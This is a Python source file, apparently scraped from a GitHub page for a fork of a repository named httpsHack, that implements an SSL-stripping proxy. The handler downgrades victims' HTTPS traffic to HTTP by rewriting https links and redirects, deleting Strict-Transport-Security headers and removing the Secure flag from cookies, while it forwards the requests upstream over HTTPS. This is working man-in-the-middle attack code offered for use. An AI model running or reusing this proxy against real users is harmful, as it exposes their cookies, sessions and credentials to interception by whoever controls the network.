forked from yufeikang/httpsHack
/
SSLStripProxy.py
65 lines (51 loc) · 2.64 KB
/
SSLStripProxy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
from SimpleHTTPProxy import SimpleHTTPProxyHandler, test
from urlparse import urlsplit
import re
class SSLStripProxyHandler(SimpleHTTPProxyHandler):
forward_table = {}
def request_handler(self, req, reqbody):
# forward known https urls
if req.path in self.forward_table:
req.requestline = req.requestline.replace(req.path, self.forward_table[req.path], 1)
req.path = self.forward_table[req.path]
return self.ssl_request_handler(req, reqbody)
def response_handler(self, req, reqbody, res, resbody):
replaced_resbody = self.ssl_response_handler(req, reqbody, res, resbody)
if replaced_resbody is True:
return True
elif replaced_resbody is not None:
resbody = replaced_resbody
# strip secure cookies
set_cookie = res.headers.get('Set-Cookie')
if set_cookie:
res.headers['Set-Cookie'] = re.sub(r';\s*Secure', '', set_cookie, flags=re.IGNORECASE)
# prevent new "HTTP Strict Transport Security" policies [RFC 6797]
del res.headers['Strict-Transport-Security']
# replace https urls to http ones
location = res.headers.get('Location', '')
if location.startswith('https://'):
http_url = re.sub(r'^https://', 'http://', location)
self.forward_table[http_url] = location
res.headers['Location'] = http_url
content_type = res.headers.get('Content-Type', '')
if content_type.startswith('text/html') or content_type.startswith('text/css') or content_type.startswith('text/javascript'):
re_url = r'((["\'])\s*)https://([\w\-.~%!$&\'()*+,;=:@/?#]+)(\s*\2)' # based on RFC 3986
def replace_method(m):
raw_path = m.group(3).replace('&', '&')
self.forward_table['http://' + raw_path] = 'https://' + raw_path
return '%shttp://%s%s' % (m.group(1), m.group(3), m.group(4))
resbody = re.sub(re_url, replace_method, resbody)
return resbody
def ssl_request_handler(self, req, reqbody):
# override here
# return True if you sent the response here and the proxy should not connect to the upstream server
# return replaced reqbody (other than None and True) if you did
pass
def ssl_response_handler(self, req, reqbody, res, resbody):
# override here
# return True if you sent the response here and the proxy should not connect to the upstream server
# return replaced resbody (other than None and True) if you did
pass
if __name__ == '__main__':
test(HandlerClass=SSLStripProxyHandler)